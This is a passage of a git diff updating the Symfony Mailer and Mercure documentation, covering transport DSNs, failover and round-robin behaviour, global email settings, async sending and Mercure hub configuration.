+                                                        in the ``sendmail_path`` setting of ``php.ini``. On Windows
+                                                        hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
+                                                        ``php.ini`` settings when ``sendmail_path`` is not configured.
+============  ========================================  ==============================================================
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of using your own SMTP server, you can send emails via a 3rd party
+Instead of using your own SMTP server or sendmail binary, you can send emails via a 3rd party
 provider. Mailer supports several - install whichever you want:
 
 ==================  ==============================================
@@ -49,12 +112,17 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
+OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
 .. versionadded:: 5.2
 
     The Sendinblue integration was introduced in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The OhMySMTP integration was introduced in Symfony 5.4.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -93,16 +161,17 @@ This table shows the full list of available DSN formats for each third
 party provider:
 
 ==================== ==================================================== =========================================== ========================================
- Provider             SMTP                                                 HTTP                                        API
+Provider             SMTP                                                 HTTP                                        API
 ==================== ==================================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default             ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
- Postmark             postmark+smtp://ID:ID@default                        n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default                   n/a                                         sendgrid+api://KEY@default
- Sendinblue           sendinblue+smtp://apikey:USERNAME:PASSWORD@default   n/a                                         sendinblue+api://KEY@default
+Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
+Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
+Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
+Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::
@@ -111,6 +180,17 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
+.. caution::
+
+    If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
+    to :ref:`send messages in background <mailer-sending-messages-async>`,
+    you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
+    a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
+
+    .. versionadded:: 5.4
+
+        The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
+
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an
@@ -129,8 +209,8 @@ party provider:
     .. code-block:: env
 
         # .env
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com:99
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com:99
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 
@@ -147,9 +227,9 @@ A failover transport is configured with two or more transports and the
 
     MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using the first transport. If the sending fails, the
-mailer won't retry it with the other transports, but it will switch to the next
-transport automatically for the following deliveries.
+The failover-transport starts using the first transport and if it fails, it
+will retry the same delivery with the next transports until one of them succeeds
+(or until all of them fail).
 
 Load Balancing
 ~~~~~~~~~~~~~~
@@ -164,9 +244,12 @@ A round-robin transport is configured with two or more transports and the
 
     MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using a randomly selected transport and if it fails, it
-will retry the same delivery with the next transports until one of them succeeds
-(or until all of them fail).
+The round-robin transport starts with a *randomly* selected transport and
+then switches to the next available transport for each subsequent email.
+
+As with the failover transport, round-robin retries deliveries until
+a transport succeeds (or all fail). In contrast to the failover transport,
+it *spreads* the load across all its transports.
 
 .. versionadded:: 5.1
 
@@ -181,12 +264,63 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
 .. versionadded:: 5.1
 
     The ``verify_peer`` option was introduced in Symfony 5.1.
 
+Other Options
+~~~~~~~~~~~~~
+
+``command``
+    Command to be executed by ``sendmail`` transport::
+
+        $dsn = 'sendmail://default?command=/usr/sbin/sendmail%20-oi%20-t'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+
+``local_domain``
+    The domain name to use in ``HELO`` command::
+
+        $dsn = 'smtps://smtp.example.com?local_domain=example.org'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold``
+    The maximum number of messages to send before re-starting the transport. It
+    can be used together with ``restart_threshold_sleep``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold_sleep``
+    The number of seconds to sleep between stopping and re-starting the transport.
+    It's common to combine it with ``restart_threshold``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``ping_threshold``
+    The minimum number of seconds between two messages required to ping the server::
+
+        $dsn = 'smtps://smtp.example.com?ping_threshold=200'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
 Creating & Sending Messages
 ---------------------------
 
@@ -198,6 +332,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\Email;
 
@@ -206,7 +341,7 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         /**
          * @Route("/email")
          */
-        public function sendEmail(MailerInterface $mailer)
+        public function sendEmail(MailerInterface $mailer): Response
         {
             $email = (new Email())
                 ->from('hello@example.com')
@@ -257,8 +392,7 @@ both strings or address objects::
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
-    create an :doc:`event subscriber </event_dispatcher>` and listen to the
-    :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
 .. note::
@@ -271,12 +405,13 @@ both strings or address objects::
 
         Support for UTF-8 characters in email addresses was introduced in Symfony 5.2.
 
-Multiple addresses are defined with the ``addXXX()`` methods::
+Use ``addTo()``, ``addCc()``, or ``addBcc()`` methods to add more addresses::
 
     $email = (new Email())
         ->to('foo@example.com')
         ->addTo('bar@example.com')
-        ->addTo('baz@example.com')
+        ->cc('cc@example.com')
+        ->addCc('cc2@example.com')
 
         // ...
     ;
@@ -304,11 +439,17 @@ header, etc.) but most of the times you'll set text headers::
         ->getHeaders()
             // this header tells auto-repliers ("email holiday mode") to not
             // reply to this message because it's an automated email
-            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply');
+            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
         // ...
     ;
 
+.. tip::
+
+    Instead of calling ``->addTextHeader()`` *every* time you create a new email, you can
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the same
+    headers to all sent emails.
+
 Message Contents
 ~~~~~~~~~~~~~~~~
 
@@ -384,6 +525,78 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;
 
+.. _mailer-configure-email-globally:
+
+Configuring Emails Globally
+---------------------------
+
+Instead of calling ``->from()`` on each Email you create, you can configure this
+value globally so that it is set on all sent emails. The same is true with ``->to()``
+and headers.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/dev/mailer.yaml
+        framework:
+            mailer:
+                envelope:
+                    sender: 'fabien@example.com'
+                    recipients: ['foo@example.com', 'bar@example.com']
+                headers:
+                    from: 'Fabien <fabien@example.com>'
+                    bcc: 'baz@example.com'
+                    X-Custom-Header: 'foobar'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:sender>fabien@example.com</framework:sender>
+                        <framework:recipients>foo@example.com</framework:recipients>
+                        <framework:recipients>bar@example.com</framework:recipients>
+                    </framework:envelope>
+                    <framework:header name="from">Fabien &lt;fabien@example.com&gt;</framework:header>
+                    <framework:header name="bcc">baz@example.com</framework:header>
+                    <framework:header name="X-Custom-Header">foobar</framework:header>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $mailer = $framework->mailer();
+            $mailer
+                ->envelope()
+                    ->sender('fabien@example.com')
+                    ->recipients(['foo@example.com', 'bar@example.com'])
+            ;
+
+            $mailer->header('from')->value('Fabien <fabien@example.com>');
+            $mailer->header('bcc')->value('baz@example.com');
+            $mailer->header('X-Custom-Header')->value('foobar');
+        };
+
+.. versionadded:: 5.2
+
+    The ``headers`` option was introduced in Symfony 5.2.
+
 Handling Sending Failures
 -------------------------
 
@@ -559,13 +772,14 @@ image files as usual. First, to simplify things, define a Twig namespace called
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your images live
-                '%kernel.project_dir%/assets/images' => 'images',
-            ],
-        ]);
+
+            // point this wherever your images live
+            $twig->path('%kernel.project_dir%/assets/images', 'images');
+        };
 
 Now, use the special ``email.image()`` Twig helper to embed the images inside
 the email contents:
@@ -623,14 +837,14 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@css/email.css')) %}
+    {% apply inline_css(source('@styles/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}
 
 You can pass unlimited number of arguments to ``inline_css()`` to load multiple
 CSS files. For this example to work, you also need to define a new Twig namespace
-called ``css`` that points to the directory where ``email.css`` lives:
+called ``styles`` that points to the directory where ``email.css`` lives:
 
 .. _mailer-css-namespace:
 
@@ -667,13 +881,14 @@ called ``css`` that points to the directory where ``email.css`` lives:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your css files live
-                '%kernel.project_dir%/assets/styles' => 'styles',
-            ],
-        ]);
+
+            // point this wherever your css files live
+            $twig->path('%kernel.project_dir%/assets/styles', 'styles');
+        };
 
 .. _mailer-markdown:
 
@@ -753,11 +968,11 @@ You can combine all filters to create complex email messages:
 
 .. code-block:: twig
 
-    {% apply inky_to_html|inline_css(source('@css/foundation-emails.css')) %}
+    {% apply inky_to_html|inline_css(source('@styles/foundation-emails.css')) %}
         {# ... #}
     {% endapply %}
 
-This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we created
+This makes use of the :ref:`styles Twig namespace <mailer-css-namespace>` we created
 earlier. You could, for example, `download the foundation-emails.css file`_
 directly from GitHub and save it in ``assets/styles``.
 
@@ -902,6 +1117,8 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+.. _multiple-email-transports:
+
 Multiple Email Transports
 -------------------------
 
@@ -943,26 +1160,28 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'mailer' => [
-                'transports' => [
-                    'main' => '%env(MAILER_DSN)%',
-                    'alternative' => '%env(MAILER_DSN_IMPORTANT)%',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->transport('main', '%env(MAILER_DSN)%')
+                ->transport('alternative', '%env(MAILER_DSN_IMPORTANT)%')
+            ;
+        };
 
-By default the first transport is used. The other transports can be used by
-adding a text header ``X-Transport`` to an email::
+By default the first transport is used. The other transports can be selected by
+adding an ``X-Transport`` header (which Mailer will remove automatically from
+the final email)::
 
-    // Send using first "main" transport ...
+    // Send using first transport ("main"):
     $mailer->send($email);
 
-    // ... or use the "alternative" one
+    // ... or use the transport "alternative":
     $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
     $mailer->send($email);
 
+.. _mailer-sending-messages-async:
+
 Sending Messages Async
 ----------------------
 
@@ -987,7 +1206,7 @@ you have a transport called ``async``, you can route the message there:
                     async: "%env(MESSENGER_TRANSPORT_DSN)%"
 
                 routing:
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage':  async
+                    'Symfony\Component\Mailer\Messenger\SendEmailMessage': async
 
     .. code-block:: xml
 
@@ -1003,6 +1222,7 @@ you have a transport called ``async``, you can route the message there:
 
             <framework:config>
                 <framework:messenger>
+                    <framework:transport name="async">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
                     <framework:routing message-class="Symfony\Component\Mailer\Messenger\SendEmailMessage">
                         <framework:sender service="async"/>
                     </framework:routing>
@@ -1013,17 +1233,68 @@ you have a transport called ``async``, you can route the message there:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')->dsn('%env(MESSENGER_TRANSPORT_DSN)%');
+
+            $framework->messenger()
+                ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage')
+                ->senders(['async']);
+        };
+
 
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
+You can configure which bus is used to dispatch the message using the ``message_bus`` option.
+You can also set this to ``false`` to call the Mailer transport directly and
+disable asynchronous delivery.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                message_bus: app.another_bus
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer
+                    message_bus="app.another_bus"
+                >
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->messageBus('app.another_bus');
+        };
+
+.. versionadded:: 5.1
+
+    The ``message_bus`` option was introduced in Symfony 5.1.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 
@@ -1056,9 +1327,19 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* Postmark
-* Mailgun
 * MailChimp
+* Mailgun
+* Postmark
+* Sendgrid
+* Sendinblue
+
+.. versionadded:: 5.4
+
+    The tag and metadata support for Sendgrid was introduced in Symfony 5.4.
+
+The following transports only support tags:
+
+* OhMySMTP
 
 Development & Debugging
 -----------------------
@@ -1100,12 +1381,13 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'dsn' => 'null://null',
-            ],
-        ]);
+            $framework->mailer()
+                ->dsn('null://null');
+        };
 
 .. note::
 
@@ -1152,14 +1434,15 @@ a specific address, instead of the *real* address:
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
-                'envelope' => [
-                    'recipients' => ['youremail@example.com'],
-                ],
-            ],
-        ]);
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+            ;
+        };
 
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
@@ -1172,3 +1455,4 @@ a specific address, instead of the *real* address:
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/mercure.rst b/mercure.rst
index 8c0f52f8039..9a0c1e9dfea 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -22,8 +22,9 @@ server to clients. It is a modern and efficient alternative to timer-based
 polling and to WebSocket.
 
 Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported
-out of the box in most modern browsers (Edge and IE require `a polyfill`_) and
-has `high-level implementations`_ in many programming languages.
+out of the box in most modern browsers (old versions of Edge and IE require
+`a polyfill`_) and has `high-level implementations`_ in many programming
+languages.
 
 Mercure comes with an authorization mechanism,
 automatic re-connection in case of network issues
@@ -34,10 +35,6 @@ thanks to a specific HTTP header).
 
 All these features are supported in the Symfony integration.
 
-Unlike WebSocket, which is only compatible with HTTP 1.x,
-Mercure leverages the multiplexing capabilities provided by HTTP/2
-and HTTP/3 (but also supports older versions of HTTP).
-
 `In this recording`_ you can see how a Symfony web API leverages Mercure
 and API Platform to update in live a React app and a mobile app (React Native)
 generated using the API Platform client generator.
@@ -45,16 +42,6 @@ generated using the API Platform client generator.
 Installation
 ------------
 
-Installing the Symfony Component
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Mercure support before using it:
-
-.. code-block:: terminal
-
-    $ composer require mercure
-
 Running a Mercure Hub
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -65,26 +52,39 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-An official and open source (AGPL) implementation of a Hub can be downloaded
-as a static binary from `Mercure.rocks`_.
+An official and open source (AGPL) Hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
+If you use `Symfony Docker`_ or the `API Platform distribution`_, a Mercure Hub
+is automatically installed and your Symfony application is automatically
+configured to use it. You can jump directly to the next section.
+
+If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
+a Mercure hub will be automatically available as a Docker service thanks to its
+:ref:`Docker integration <symfony-server-docker>.
 
-Run the following command to start it:
+Be sure that recent versions of Docker and Docker Compose are properly installed
+on your computer and to start the Symfony Local Web Server with the ``--no-tls``
+option:
 
 .. code-block:: terminal
 
-    $ ./mercure --jwt-key='!ChangeMe!' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*'
+    $ symfony server:start --no-tls -d
 
-.. note::
+Installing the Symfony Bundle
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
-    and a managed, High Availability Hub are also provided by Mercure.rocks.
+Run this command to install the Mercure support before using it:
 
-.. tip::
+.. code-block:: terminal
 
-    The `API Platform distribution`_ comes with a Docker Compose configuration
-    as well as a Helm chart for Kubernetes that are 100% compatible with Symfony,
-    and contain a Mercure hub.
-    You can copy them in your project, even if you don't use API Platform.
+    $ composer require mercure
+
+:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured
+MercureBundle. It also created (if needed) and configured a Docker Compose
+definition that provides a Mercure service. Run ``docker-compose up`` to start it.
 
 Configuration
 -------------
@@ -92,18 +92,30 @@ Configuration
 The preferred way to configure the MercureBundle is using
 :doc:`environment variables </configuration>`.
 
-Set the URL of your hub as the value of the ``MERCURE_PUBLISH_URL`` env var.
-The ``.env`` file of your project has been updated by the Flex recipe to
-provide example values.
-Set it to the URL of the Mercure Hub (``http://localhost:3000/.well-known/mercure`` by default).
+When MercureBundle has been installed, the ``.env`` file of your project
+has been updated by the Flex recipe to include the available env vars.
+
+If you use the Symfony Local Web Server, Symfony Docker or the API Platform
+distribution, the Symfony app is automatically configured and you can skip
+straight to the next section.
+
+Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
+and ``MERCURE_PUBLIC_URL`` env vars.
+Sometimes a different URL must be called by the Symfony app (usually to publish),
+and the JavaScript client (usually to subscribe). It's especially common when
+the Symfony app must use a local URL and the client-side JavaScript code a public one.
+In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
+Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
+the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 
-In addition, the Symfony application must bear a `JSON Web Token`_ (JWT)
-to the Mercure Hub to be authorized to publish updates.
+The clients must also bear a `JSON Web Token`_ (JWT)
+to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This JWT should be stored in the ``MERCURE_JWT_TOKEN`` environment variable.
+This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in our example).
+the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
+Symfony Docker).
 Its payload must contain at least the following structure to be allowed to
 publish:
 
@@ -127,11 +139,54 @@ public updates (see the authorization_ section for further information).
 
 .. caution::
 
-    Don't put the secret key in ``MERCURE_JWT_TOKEN``, it will not work!
+    Don't put the secret key in ``MERCURE_JWT_SECRET``, it will not work!
     This environment variable must contain a JWT, signed with the secret key.
 
     Also, be sure to keep both the secret key and the JWTs... secrets!
 
+If you don't want to use the provided environment variables,
+use the following configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        secret: '!ChangeMe!'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt secret="!ChangeMe!"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
+
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'secret' => '!ChangeMe!',
+                    ],
+                ],
+            ],
+        ]);
+
+
 Basic Usage
 -----------
 
@@ -149,21 +204,21 @@ service, including controllers::
     // src/Controller/PublishController.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
-            // The Publisher service is an invokable object
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('published!');
         }
@@ -175,8 +230,8 @@ the **topic** being updated. This topic should be an `IRI`_
 of the resource being dispatched.
 
 Usually, this parameter contains the original URL of the resource
-transmitted to the client, but it can be any valid `IRI`_, it doesn't
-have to be a URL that exists (similarly to XML namespaces).
+transmitted to the client, but it can be any string or `IRI`_,
+and it doesn't have to be a URL that exists (similarly to XML namespaces).
 
 The second parameter of the constructor is the content of the update.
 It can be anything, stored in any format.
@@ -186,34 +241,57 @@ Atom, HTML or XML is recommended.
 Subscribing
 ~~~~~~~~~~~
 
-Subscribing to updates in JavaScript is straightforward:
+Subscribing to updates in JavaScript from a Twig template is straightforward:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource('http://localhost:3000/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}");
     eventSource.onmessage = event => {
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
     }
+    </script>
+
+The ``mercure()`` Twig function will generate the URL of the Mercure hub
+according to the configuration. The URL will include the ``topic`` query
+parameters corresponding to the topics passed as first argument.
+
+If you want to access to this URL from an external JavaScript file, generate the
+URL in a dedicated HTML element:
 
-Mercure also allows to subscribe to several topics,
+.. code-block:: twig
+
+    <script type="application/json" id="mercure-url">
+    {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
+    </script>
+
+Then retrieve it from your JS file:
+
+.. code-block:: javascript
+
+    const url = JSON.parse(document.getElementById("mercure-url").textContent);
+    const eventSource = new EventSource(url);
+    // ...
+
+Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    // URL is a built-in JavaScript class to manipulate URLs
-    const url = new URL('http://localhost:3000/.well-known/mercure');
-    url.searchParams.append('topic', 'http://example.com/books/1');
-    // Subscribe to updates of several Book resources
-    url.searchParams.append('topic', 'http://example.com/books/2');
-    // All Review resources will match this pattern
-    url.searchParams.append('topic', 'http://example.com/reviews/{id}');
+    <script>
+    {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #}
+    const eventSource = new EventSource("{{ mercure([
+        'https://example.com/books/1',
+        'https://example.com/books/2',
+        'https://example.com/reviews/{id}'
+    ])|escape('js') }}");
 
-    const eventSource = new EventSource(url);
     eventSource.onmessage = event => {
         console.log(JSON.parse(event.data));
     }
+    </script>
 
 .. tip::
 
@@ -233,43 +311,6 @@ as patterns:
 
     Test if a URI Template match a URL using `the online debugger`_
 
-Async dispatching
------------------
-
-Instead of calling the ``Publisher`` service directly, you can also let Symfony
-dispatching the updates asynchronously thanks to the provided integration with
-the Messenger component.
-
-First, be sure :doc:`to install the Messenger component </messenger>`
-and to configure properly a transport (if you don't, the handler will
-be called synchronously).
-
-Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
-it will be handled automatically::
-
-    // src/Controller/PublishController.php
-    namespace App\Controller;
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\Update;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class PublishController
-    {
-        public function __invoke(MessageBusInterface $bus): Response
-        {
-            $update = new Update(
-                'http://example.com/books/1',
-                json_encode(['status' => 'OutOfStock'])
-            );
-
-            // Sync, or async (RabbitMQ, Kafka...)
-            $bus->dispatch($update);
-
-            return new Response('published!');
-        }
-    }
-
 Discovery
